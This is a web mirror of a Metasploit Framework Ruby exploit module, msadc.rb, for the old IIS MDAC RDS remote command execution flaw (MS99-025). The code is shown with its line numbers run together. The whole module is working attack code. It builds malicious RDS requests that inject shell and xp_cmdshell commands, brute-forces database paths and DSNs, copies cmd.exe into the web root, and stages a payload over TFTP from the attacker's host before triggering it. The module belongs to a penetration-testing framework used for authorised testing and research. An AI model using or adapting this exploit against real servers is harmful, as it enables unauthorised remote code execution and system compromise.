CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
Path: blob/master/modules/exploits/windows/iis/msadc.rb
Views: 1904
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4require 'rex/exploitation'56class MetasploitModule < Msf::Exploit::Remote7Rank = ExcellentRanking89include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::CmdStager1112def initialize13super(14'Name' => 'MS99-025 Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution',15'Description' => %q{16This module can be used to execute arbitrary commands on IIS servers17that expose the /msadc/msadcs.dll Microsoft Data Access Components18(MDAC) Remote Data Service (RDS) DataFactory service using VbBusObj19or AdvancedDataFactory to inject shell commands into Microsoft Access20databases (MDBs), MSSQL databases and ODBC/JET Data Source Name (DSN).21Based on the msadcs.pl v2 exploit by Rain.Forest.Puppy, which was actively22used in the wild in the late Ninties. MDAC versions affected include MDAC231.5, 2.0, 2.0 SDK, 2.1 and systems with the MDAC Sample Pages for RDS24installed, and NT4 Servers with the NT Option Pack installed or upgraded252000 systems often running IIS3/4/5 however some vulnerable installations26can still be found on newer Windows operating systems. Note that newer27releases of msadcs.dll can still be abused however by default remote28connections to the RDS is denied. Consider using VERBOSE if you're unable29to successfully execute a command, as the error messages are detailed30and useful for debugging. Also set NAME to obtain the remote hostname,31and METHOD to use the alternative VbBusObj technique.32},33'Author' => 'aushack',34'Platform' => 'win',35'References' => [36['OSVDB', '272'],37['BID', '529'],38['CVE', '1999-1011'],39['MSB', 'MS98-004'],40['MSB', 'MS99-025']41],42'Targets' => [43# aushack tested meterpreter OK 2012060144# nt4server w/sp3, ie4.02, option pack, IIS4.0, mdac 1.5, over msaccess shell, reverse_nonx45# w2k w/sp0, IIS5.0, mdac 2.7 RTM, sql2000, handunsf.reg, over xp_cmdshell, reverse_tcp46[ 'Automatic', {} ],47],48'CmdStagerFlavor' => 'tftp',49'DefaultTarget' => 0,50'DisclosureDate' => 'Jul 17 1998',51'Compat' => {52'Meterpreter' => {53'Commands' => %w[54stdapi_fs_delete_file55stdapi_sys_process_execute56]57}58}59)6061register_options(62[63OptString.new('PATH', [ true, "The path to msadcs.dll", '/msadc/msadcs.dll']),64OptBool.new('METHOD', [ true, "If true, use VbBusObj instead of AdvancedDataFactory", false]),65OptBool.new('NAME', [ true, "If true, attempt to obtain the MACHINE NAME", false]),66OptString.new('DBHOST', [ true, "The SQL Server host", 'local']),67OptString.new('DBNAME', [ true, "The SQL Server database", 'master']),68OptString.new('DBUID', [ true, "The SQL Server uid (default is sa)", 'sa']),69OptString.new('DBPASSWORD', [ false, "The SQL Server password (default is blank)", '']),70]71)7273self.needs_cleanup = true74end7576def post_auth?77true78end7980def check81res = send_request_raw({82'uri' => normalize_uri(datastore['PATH']),83'method' => 'GET',84})85if (res.code == 200)86print_status("Server responded with HTTP #{res.code} OK")87if (res.body =~ /Content-Type: application\/x-varg/)88print_good("#{datastore['PATH']} matches fingerprint application\/x-varg")89Exploit::CheckCode::Detected90end91else92Exploit::CheckCode::Safe93end94end9596def create_dsn(drive, dsn)97req = "/scripts/tools/newdsn.exe?driver=Microsoft\%2BAccess\%2BDriver\%2B\%28*.mdb\%29\&dsn=#{dsn}\&dbq=#{drive}\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr="9899res = send_request_raw({100'uri' => req,101})102103if (res and res.code == 200 and res.body =~ /<H2>Datasource creation <B>FAILED! The most likely cause is invalid attributes<\/B><\/H2>/)104vprint_error("DSN CREATE failed for drive #{drive} with #{dsn}.")105return false106elsif (res.code == 200 and res.body =~ /<H2>Datasource creation successful<\/H2>/)107print_good("DSN CREATE SUCCESSFUL for drive #{drive} with #{dsn}!")108return true109end110end111112def exec_cmd(sql, cmd, d)113boundary = rand_text_alphanumeric(8)114method = datastore['METHOD'] ? "VbBusObj.VbBusObjCls.GetRecordset" : "AdvancedDataFactory.Query"115dsn = Rex::Text.to_unicode(d)116if (d =~ /driver=\{SQL Server\}/)117select = Rex::Text.to_unicode(sql + '"' + cmd + '"')118elsif (cmd.nil?)119select = Rex::Text.to_unicode(sql)120else121select = Rex::Text.to_unicode(sql + "'|shell(\"" + cmd + "\")|'")122end123124vprint_status("Attempting to request: #{select} on #{d}")125126query = "\x02\x00\x03\x00\x08\x00#{[select.size].pack('S')}\x00\x00#{select}\x08\x00#{[dsn.size].pack('S')}\x00\x00#{dsn}"127128sploit = "--#{boundary}\r\n"129sploit << "Content-Type: application/x-varg\r\n"130sploit << "Content-Length: #{query.length}\r\n\r\n"131sploit << query132sploit << "\r\n--#{boundary}--\r\n"133134data = "ADCClientVersion:01.06\r\n"135data << 'Content-Type: multipart/mixed; boundary=' + boundary + '; num-args=3'136data << "\r\n\r\n"137data << sploit138139res = send_request_raw({140'uri' => normalize_uri(datastore['PATH'], method),141'agent' => 'ACTIVEDATA',142'headers' =>143{144'Content-Length' => data.length,145'Connection' => "Keep-Alive",146},147'method' => 'POST',148'data' => data,149})150151response = Rex::Text.to_ascii(res.body, 'utf-16be')152153if (response =~ /HTTP:\/\/www.microsoft.com\/activex.vip\/adofx/ || res.body =~ /o.u.t.p.u.t./)154vprint_good("Command was successfully executed! Statement: #{select} Driver: #{d}")155return true, sql, d156elsif (response =~ /RDS Server Error: The server has denied access to the default RDS Handler used to access this page. See the Server Administrator for more information about server security settings./)157print_error("Exploit failed: the server is patched")158return # we cannot continue - server refuses to accept RDS traffic from remote IPs. bail.159elsif (response =~ /The Microsoft Jet database engine cannot find the input table or query \'(\w+)\'/)160vprint_error("Server is vulnerable but Microsoft Jet database cannot find table: #{$1}")161elsif (response =~ /isn't a valid path/ || response =~ /is not a valid path/ || response =~ /Could not find file/)162vprint_error("Server is vulnerable but the drive and path is incorrect.")163elsif (response =~ /Disk or network error./)164vprint_error("Server is vulnerable but the driver letter doesn't physically exist.")165elsif (response =~ /Syntax error in CREATE TABLE statement/)166vprint_error("Server is vulnerable and the database exists however the CREATE TABLE command failed")167elsif (response =~ /Table '(\w+)' already exists/)168vprint_error("Server is vulnerable and the database exists however the TABLE '#{$1}' already exists!")169elsif (response =~ /Syntax error \(missing operator\) in query expression/)170vprint_error("Server is vulnerable and the database and table exists however the SELECT statement has a syntax error.")171elsif (response =~ /Too few parameters. Expected 1/)172print_good("Command was probably executed!")173elsif (response =~ /Data source name not found and no default driver specified/)174vprint_error("Server is vulnerable however the requested DSN '#{d}' does not exist.")175elsif (response =~ /Couldn't find file/)176vprint_error("Server is vulnerable however the requested .mdb file does not exist.")177elsif (response =~ /Specified SQL server not found/)178vprint_error("Server is vulnerable however the specified Microsoft SQL Server does not exist")179elsif (response =~ /Server does not exist or access denied/)180vprint_error("Server is vulnerable however the specified Microsoft SQL Server does not exist or access is denied")181elsif (response =~ /General error Unable to open registry key/)182vprint_error("Server error (possible misconfiguration): Unable to open registry key ")183elsif (response =~ /It is in a read-only database/)184vprint_error("Server accepted request however the requested .mdb is READ-ONLY")185elsif (response =~ /Invalid connection/)186vprint_error("Server accepted request however the MSSQL database says Invalid connection")187elsif (response =~ /\[SQL Server\]Login failed for user/)188vprint_error("Server accepted request however the MSSQL database uid / password credentials are incorrect.")189elsif (response =~ /EXECUTE permission denied on object 'xp_cmdshell'/)190vprint_error("Server accepted request and MSSQL uid/pass is correct however the UID does not have permission to execute xp_cmdshell!")191elsif (response =~ /\"(...)\"/) # we use rand_text_alphanumeric for 'table'. response is '"<table>" <table>' but means nothing to me. regexp is a little lazy however the unicode response doesn't give us much to work with; we only know it is 3 bytes long and quoted which should be unique.192vprint_error("Server accepted request however it failed for reasons unknown.")193elsif (res.body =~ /\x09\x00\x01/) # magic bytes? rfp used it too :P maybe a retval?194vprint_error("Unknown reply - but the command didn't execute")195else196vprint_status("Unknown reply - server is likely patched:\n#{response}")197end198return false199end200201def find_exec202# config data - greets to rain forest puppy :)203boundary = rand_text_alphanumeric(8)204205if (datastore['NAME']) # Obtain the hostname if true206207data = "ADCClientVersion:01.06\r\n"208data << 'Content-Type: multipart/mixed; boundary=' + boundary + '; num-args=0'209data << "\r\n\r\n--#{boundary}--\r\n"210211res = send_request_raw({212'uri' => normalize_uri(datastore['PATH'], '/VbBusObj.VbBusObjCls.GetMachineName'),213'agent' => 'ACTIVEDATA',214'headers' =>215{216'Content-Length' => data.length,217'Connection' => "Keep-Alive",218},219'method' => 'POST',220'data' => data,221222})223224if (res.code == 200 and res.body =~ /\x01(.+)/) # Should return the hostname225print_good("Hostname: #{$1}")226end227end228229drives = ["c", "d", "e", "f", "g", "h"]230sysdirs = ['winnt', 'windows', 'win', 'winnt351', 'winnt35' ]231dsns = [232"AdvWorks", "pubs", "wicca", "CertSvr", "CFApplications", "cfexamples", "CFForums",233"CFRealm", "cfsnippets", "UAM", "banner", "banners", "ads", "ADCDemo", "ADCTest"234]235236sysmdbs = [237"\\catroot\\icatalog.mdb", # these are %systemroot%238"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",239"\\system32\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",240"\\system32\\certmdb.mdb",241"\\system32\\ias\\ias.mdb",242"\\system32\\ias\\dnary.mdb",243"\\system32\\certlog\\certsrv.mdb"244]245246mdbs = [247"\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", # these are non-windows248"\\cfusion\\cfapps\\forums\\forums_.mdb",249"\\cfusion\\cfapps\\forums\\data\\forums.mdb",250"\\cfusion\\cfapps\\security\\realm_.mdb",251"\\cfusion\\cfapps\\security\\data\\realm.mdb",252"\\cfusion\\database\\cfexamples.mdb",253"\\cfusion\\database\\cfsnippets.mdb",254"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",255"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",256"\\cfusion\\brighttiger\\database\\cleam.mdb",257"\\cfusion\\database\\smpolicy.mdb",258"\\cfusion\\database\\cypress.mdb",259"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",260"\\website\\cgi-win\\dbsample.mdb",261"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",262"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"263]264265print_status("Step 1: Trying raw driver to btcustmr.mdb")266267drives.each do |drive|268sysdirs.each do |sysdir|269ret = exec_cmd("Select * from Customers where City=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}\\help\\iis\\htm\\tutorial\\btcustmr.mdb;")270return ret if (ret)271end272end273274print_status("Step 2: Trying to make our own DSN...")275x = false # Stop if we make a DSN276drives.each do |drive|277dsns.each do |dsn|278unless x279x = create_dsn(drive, dsn)280end281end282end283284table = rand_text_alphanumeric(3)285print_status("Step 3: Trying to create a new table in our own DSN...")286exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=c:\\sys.mdb;") # this is general make table query287288print_status("Step 4: Trying to execute our command via our own DSN and table...")289ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=c:\\sys.mdb;") # this is general exploit table query290return ret if (ret)291292print_status("Step 5: Trying to execute our command via known DSNs...")293dsns.each do |dsn|294ret = exec_cmd("select * from MSysModules where name=", "cmd /c echo x", dsn) # this is table-independent query (new)295return ret if (ret)296end297298print_status("Step 6: Trying known system .mdbs...")299drives.each do |drive|300sysdirs.each do |sysdir|301sysmdbs.each do |sysmdb|302exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}#{sysmdb};")303ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}#{sysmdb};")304return ret if (ret)305end306end307end308309print_status("Step 7: Trying known program file .mdbs...")310drives.each do |drive|311mdbs.each do |mdb|312exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:#{mdb};")313ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:#{mdb};")314return ret if (ret)315end316end317318print_status("Step 8: Trying SQL xp_cmdshell method...")319ret = exec_cmd("EXEC master..xp_cmdshell", "cmd /c echo x", "driver={SQL Server};server=(#{datastore['DBHOST']});database=#{datastore['DBNAME']};uid=#{datastore['DBUID']};pwd=#{datastore['DBPASSWORD']}") # based on hdm's sqlrds.pl :)320return ret if (ret)321322return -1323end324325def exploit326print_status("Searching for valid command execution point...")327x = false328until (x)329x, y, z = find_exec330if (x == -1)331break332end333end334335if (x == true)336print_good("Successful command execution found!")337338# now copy the file339exe_fname = rand_text_alphanumeric(4 + rand(4)) + ".exe"340print_status("Copying cmd.exe to the web root as \"#{exe_fname}\"...")341# NOTE: this assumes %SystemRoot% on the same drive as the web scripts directory342# Unfortunately, using %SystemRoot% doesn't seem to work :(343res = exec_cmd(y, "cmd /c copy cmd.exe \\inetpub\\scripts\\#{exe_fname}", z)344345# Use the CMD stager to get a payload running346tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']347execute_cmdstager({ temp: '.', tftphost: tftphost, linemax: 1_400, cgifname: exe_fname, noconcat: true })348349# Save these file names for later deletion350@exe_cmd_copy = exe_fname351@exe_payload = stager_instance.payload_exe # Grab this info from CmdStagerTFTP352353# Just for good measure, we'll make a quick, direct request for the payload354# Using the "start" method doesn't seem to make iis very happy :(355print_status("Triggering the payload via a direct request...")356res = send_request_raw({ 'uri' => '/scripts/' + stager_instance.payload_exe, 'method' => 'GET' }, 1)357end358359handler360end361362#363# The following handles deleting the copied cmd.exe and payload exe!364#365def on_new_session(client)366if client.type != "meterpreter"367print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")368print_error("The copied exe and the payload exe must be removed manually.")369return370end371372return if not @exe_cmd_copy373374# stdapi must be loaded before we can use fs.file375client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")376377# Delete the copied CMD.exe378print_status("Deleting copy of CMD.exe \"#{@exe_cmd_copy}\" ...")379client.fs.file.rm(@exe_cmd_copy)380381# Migrate so that we can delete the payload exe382client.console.run_single("run migrate -f")383384# Delete the payload exe385return if not @exe_payload386387delete_me_too = "C:\\inetpub\\scripts\\" + @exe_payload # C:\ ?388389print_warning("Changing permissions on #{delete_me_too} ...")390cmd = "C:\\#{sysdir[0]}\\system32\\attrib.exe -r -h -s " + delete_me_too # winnt ?391client.sys.process.execute(cmd, nil, { 'Hidden' => true })392393print_warning("Deleting #{delete_me_too} ...")394begin395client.fs.file.rm(delete_me_too)396rescue ::Exception => e397print_error("Exception: #{e.inspect}")398end399end400401def cleanup402framework.events.remove_exploit_subscriber(self)403end404405def execute_command(cmd, opts = {})406# Don't try the start command...407# Using the "start" method doesn't seem to make iis very happy :(408return [nil, nil] if cmd =~ /^start [a-zA-Z]+\.exe$/409410print_status("Executing command: #{cmd} (options: #{opts.inspect})")411412uri = '/scripts/'413exe = opts[:cgifname]414if (exe)415uri << exe416end417uri << '?/x+/c+'418uri << Rex::Text.uri_encode(cmd)419420vprint_status("Attempting to execute: #{uri}")421422res = send_request_raw({423'uri' => uri,424'method' => 'GET',425})426end427end428429430